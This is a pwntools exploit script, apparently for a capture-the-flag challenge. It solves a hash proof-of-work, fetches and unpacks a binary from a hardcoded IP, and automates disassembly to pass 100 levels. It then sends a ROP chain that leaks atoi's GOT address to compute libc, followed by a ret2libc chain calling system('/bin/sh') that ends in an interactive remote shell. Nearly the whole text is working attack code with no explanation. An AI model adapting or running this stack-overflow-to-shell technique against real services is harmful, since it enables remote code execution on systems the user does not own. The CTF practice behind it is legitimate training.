| from pwn import * |
| import hashlib, itertools, string, base64 |
| from capstone import * |
| |
| context(arch = 'amd64', os = 'linux', log_level = 'debug') |
| |
| token = "icq947dbf7d511024e3e7be0d0aebd59" |
| HOST, PORT = "39.96.72.181", 42732 |
| p = remote(HOST, PORT) |
| |
| def solver(val, name) : |
| alpha_set = string.printable |
| algorithm = getattr(hashlib, name) |
| for i in itertools.permutations(alpha_set, 4) : |
| s = ''.join(i) |
| if algorithm(s).hexdigest()[:20] == val : |
| return s |
| print("GG not found...") |
| return -11 |
| |
| p.recvuntil("x[:20] = ") |
| val = p.recv(20) |
| p.recvuntil("<built-in function openssl_") |
| name = p.recvuntil(">")[:-1] |
| print("{} & {}".format(val, name)) |
| res = solver(val, name) |
| |
| p.sendlineafter("> ", res) |
| p.sendlineafter("Please input your token: ", token) |
| p.recvuntil("Creating pwn file, please wait ...\n\n\n\n") |
| data = p.recvuntil("\n\n\n")[:-3] |
| bindump = base64.b64decode(data) |
| |
| with open("recv.tar.gz", "wb") as f : |
| f.write(bindump) |
| os.system("tar -zxf recv.tar.gz -C ./chal") |
| os.system("upx -d chal/pwn*") |
| os.system("mv chal/pwn* ./pwn2") |
| |
| |
| p.recvuntil("Your docker run port [") |
| port = int(p.recvuntil("]")[:-1]) |
| |
| p.recvuntil("password is \"") |
| password = p.recvuntil("\"")[:-1] |
| p.close() |
| |
| print("port: {}, password: {}".format(port, password)) |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| p = remote(HOST, port) |
| |
| p.sendlineafter("Please input your password: ", password) |
| |
| |
| libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") |
| elf = ELF("./pwn2") |
| with open("./pwn2", 'r') as f: |
| bytecode = f.read() |
| |
| md = Cs(CS_ARCH_X86, CS_MODE_64) |
| |
| |
| def find_main(): |
| offset = elf.vaddr_to_offset(elf.entrypoint) |
| disasm_result = md.disasm(bytecode[offset:offset + 0x100], elf.entrypoint) |
| |
| for i in disasm_result: |
| |
| if "rdi" in i.op_str: |
| main_addr = int(i.op_str[i.op_str.find(",") + 2:], 16) |
| break |
| |
| return main_addr |
| |
| |
| def find_level0(main_addr): |
| offset = elf.vaddr_to_offset(main_addr) |
| disasm_result = md.disasm(bytecode[offset:offset + 0x1000], main_addr) |
| call_index = 0 |
| for i in disasm_result: |
| if i.mnemonic == "call": |
| call_index += 1 |
| if call_index == 5: |
| level0_addr = int(i.op_str, 16) |
| break |
| return level0_addr |
| |
| |
| def check(addr, level): |
| offset = elf.vaddr_to_offset(addr) |
| disasm_result = md.disasm(bytecode[offset:offset + 0x30], addr) |
| for i in disasm_result: |
| if i.mnemonic == "cmp": |
| current_level = int(i.op_str[i.op_str.find(",") + 2:], 16) |
| break |
| if(level == current_level): |
| return True |
| else: |
| return False |
| |
| |
| def find_next(addr, level): |
| offset = elf.vaddr_to_offset(addr) |
| disasm_result = md.disasm(bytecode[offset:offset + 0x1000], addr) |
| call_index = 0 |
| for i in disasm_result: |
| if i.mnemonic == "call": |
| call_index += 1 |
| if call_index > 2: |
| next_level_addr = int(i.op_str, 16) |
| if(check(next_level_addr, level+1)): |
| break |
| return next_level_addr, call_index-3 |
| |
| def check_last(addr): |
| offset = elf.vaddr_to_offset(addr) |
| disasm_result = md.disasm(bytecode[offset:offset + 0x30], addr) |
| for i in disasm_result: |
| if i.mnemonic == "cmp": |
| if "eax" in i.op_str: |
| return False |
| else: |
| return True |
| |
| def find_last(addr): |
| offset = elf.vaddr_to_offset(addr) |
| disasm_result = md.disasm(bytecode[offset:offset + 0x1000], addr) |
| call_index = 0 |
| for i in disasm_result: |
| if i.mnemonic == "call": |
| call_index += 1 |
| if call_index > 2: |
| next_level_addr = int(i.op_str, 16) |
| if(check_last(next_level_addr)): |
| break |
| return next_level_addr, call_index-3 |
| |
| |
| main_addr = find_main() |
| level0_addr = find_level0(main_addr) |
| |
| print(hex(level0_addr)) |
| |
| |
| |
| |
| ans = "" |
| |
| next_level_addr = level0_addr |
| for level in range(99): |
| next_level_addr, number = find_next(next_level_addr, level) |
| print(hex(next_level_addr), number) |
| ans += str(number) |
| |
| last_level_addr, number = find_last(next_level_addr) |
| ans += str(number) |
| |
| |
| p.sendline(ans) |
| p.recvuntil("!\n") |
| |
| pop_rdi = 0x0000000000406013 |
| pop_rsi_r15 = 0x0000000000406011 |
| |
| |
| ropchain = "A"*0xd8 |
| ropchain += p64(pop_rdi) |
| ropchain += p64(1) |
| ropchain += p64(pop_rsi_r15) |
| ropchain += p64(elf.got["atoi"]) |
| ropchain += p64(0) |
| ropchain += p64(elf.plt['write']) |
| ropchain += p64(0x405EF7) |
| |
| p.sendline(ropchain) |
| atoi_addr = u64(p.recv(8)) |
| libc_addr = atoi_addr - 0x0478c0 |
| system_addr = libc_addr + 0x0554e0 |
| binsh_addr = libc_addr + 0x1b6613 |
| |
| print("atoi_addr", hex(atoi_addr)) |
| print("libc_addr", hex(libc_addr)) |
| print("system_addr", hex(system_addr)) |
| print("binsh_addr", hex(binsh_addr)) |
| |
| ropchain = "A"*0xd8 |
| ropchain += p64(pop_rdi) |
| ropchain += p64(binsh_addr) |
| ropchain += p64(system_addr) |
| p.send("\n") |
| p.sendline(ropchain) |
| |
| |
| p.interactive() |